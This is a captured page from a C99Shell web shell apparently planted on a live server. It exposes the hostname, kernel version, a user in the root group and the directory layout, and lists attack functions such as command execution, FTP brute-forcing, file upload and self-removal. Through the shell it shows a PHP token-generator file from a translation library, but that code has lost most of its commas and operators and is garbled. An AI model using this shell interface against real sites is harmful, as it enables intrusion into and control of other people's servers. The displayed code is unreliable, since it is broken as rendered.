!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/stichoza/google-translate-php/src/Tokens/   drwxr-xr-x
Free 25.72 GB of 117.98 GB (21.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoogleTokenGenerator.php (3.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stichoza\GoogleTranslate\Tokens;

/**
 * Google Token Generator.
 *
 * Thanks to @helen5106, @tehmaestro and few other cool guys
 * at https://github.com/Stichoza/google-translate-php/issues/32
 */
class GoogleTokenGenerator implements TokenProviderInterface
{
    
/**
     * Generate and return a token.
     *
     * @param string $source Source language
     * @param string $target Target language
     * @param string $text Text to translate
     * @return string Token
     */
    
public function generateToken(string $sourcestring $targetstring $text): string
    
{
        
$tkk = ['406398'2087938574];

        for (
$d = [], $e 0$f 0$f $this->length($text); $f++) {
            
$g $this->charCodeAt($text$f);
            if (
$g 128) {
                
$d[$e++] = $g;
            } else {
                if (
$g 2048) {
                    
$d[$e++] = $g >> 192;
                } else {
                    if (
$g 64512 === 55296 && $f $this->length($text) && ($this->charCodeAt($text$f 1) & 64512) === 56320) {
                        
$g 65536 + (($g 1023) << 10) + ($this->charCodeAt($text, ++$f) & 1023);
                        
$d[$e++] = $g >> 18 240;
                        
$d[$e++] = $g >> 12 63 128;
                    } else {
                        
$d[$e++] = $g >> 12 224;
                    }
                    
$d[$e++] = $g >> 63 128;
                }
                
$d[$e++] = $g 63 128;
            }
        }

        
$a $tkk[0];
        foreach (
$d as $value) {
            
$a += $value;
            
$a $this->rl($a'+-a^+6');
        }
        
$a $this->rl($a'+-3^+b+-f');
        
$a ^= $tkk[1];
        if (
$a 0) {
            
$a = ($a 2147483647) + 2147483648;
        }
        
$a fmod($a1000000);

        return 
$a '.' . ($a $tkk[0]);
    }

    
/**
     * Process token data by applying multiple operations.
     * (Parameters are safe, no need for multibyte functions)
     *
     * @param int $a
     * @param string $b
     *
     * @return int
     */
    
private function rl(int $astring $b): int
    
{
        for (
$c 0$c strlen($b) - 2$c += 3) {
            
$d $b[$c 2];
            
$d $d >= 'a' ord($d[0]) - 87 : (int) $d;
            
$d $b[$c 1] === '+' $this->unsignedRightShift($a$d) : $a << $d;
            
$a $b[$c] === '+' ? ($a $d 4294967295) : $a $d;
        }

        return 
$a;
    }

    
/**
     * Unsigned right shift implementation
     * https://msdn.microsoft.com/en-us/library/342xfs5s(v=vs.94).aspx
     * http://stackoverflow.com/a/43359819/2953830
     *
     * @param int $a
     * @param int $b
     *
     * @return int
     */
    
private function unsignedRightShift(int $aint $b): int
    
{
        if (
$b >= 32 || $b < -32) {
            
$m = (int) ($b 32);
            
$b -= ($m 32);
        }

        if (
$b 0) {
            
$b += 32;
        }

        if (
$b === 0) {
            return ((
$a >> 1) & 0x7fffffff) * + (($a >> $b) & 1);
        }

        if (
$a 0) {
            
$a >>= 1;
            
$a &= 2147483647;
            
$a |= 0x40000000;
            
$a >>= ($b 1);
        } else {
            
$a >>= $b;
        }

        return 
$a;
    }

    
/**
     * Get JS charCodeAt equivalent result with UTF-16 encoding
     *
     * @param string $string
     * @param int    $index
     *
     * @return int
     */
    
private function charCodeAt(string $stringint $index): int
    
{
        return 
mb_ord(mb_substr($string$index1));
    }

    
/**
     * Get JS equivalent string length with UTF-16 encoding
     *
     * @param string $string
     *
     * @return int
     */
    
private function length(string $string): int
    
{
        return 
mb_strlen($string);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--